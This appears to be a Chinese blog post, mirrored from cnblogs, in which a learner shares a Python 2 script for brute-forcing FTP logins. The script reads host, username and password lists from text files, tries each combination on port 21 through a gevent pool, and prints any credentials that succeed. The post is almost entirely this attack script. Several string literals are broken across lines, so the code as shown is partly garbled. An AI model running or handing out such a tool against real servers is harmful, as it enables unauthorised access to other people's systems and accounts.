zoukankan      html  css  js  c++  java
  • ftp爆破(python脚本)

    最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本

    #!/usr/local/bin/ python
    #-*- coding: UTF-8 -*-
    __author__ = ''
    
    from ftplib import FTP
    import ftplib
    
    from gevent.pool import Pool
    
    
    threads_count = 20
    
    
    def read_file(filepath):
        f = open(filepath).readlines()
        return f
    
    def ftp_crack(args):
        host = args[0]
        user = args[1]
        pwd = args[2]
    
        port=21
        try:
            ftp = ftplib.FTP()
            ftp.connect(host, int(port), 2)
            ftp.login(user, pwd)
            ftp.retrlines('LIST')
            ftp.quit()
            print '
    [+] 破解成功,用户名:' + user + ' 密码:' + pwd+' ip: '+host
            return True,'ftp password is '+user+':'+pwd
        except ftplib.all_errors:
            pass
    
    
    pool = Pool(threads_count)
    host = read_file('host.txt')
    for h in host:
        h = h.replace('
    ','')
        pd = True
        while pd:
            user = read_file('user.txt')
            print '
    [+] 正在破解ip: '+h
            for u in user:
                u = u.replace('
    ','')
                if u == 'uuu':
                    pd = False
                    break
                passs = read_file('pass.txt')
                for pas in passs:
                    pas = pas.replace('
    ','')
                    pd2 = pool.map(ftp_crack,[[h,u,pas]])
                    try:
                        if pd2[0][0]:
                            pd = False
                    except:
                        pass
    pool.join()
    

      

     本地要有三个文件  user.txt , host.txt , pass.txt

    user文件默认最后一个单词是uuu,因为在脚本中做了判断。

    这个脚本还需要在改进,不明白多进程的用法,强行搬别人的代码过来,不知道有没有用法不对,只怕贻笑大方。

  • 相关阅读:
    java的内部编码
    visual studio 快捷键
    C# ref和out总结
    C#函数3递归
    链表操作 两个链表间的相交性问题
    链表操作 有环链表问题
    链表操作 模拟问题
    链表操作 未排序链表的处理问题
    jjQuery 源码分析1: 整体结构
    jQuery 源码分析3: jQuery.fn/ jQuery.prototype
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/5609344.html
Copyright © 2011-2022 走看看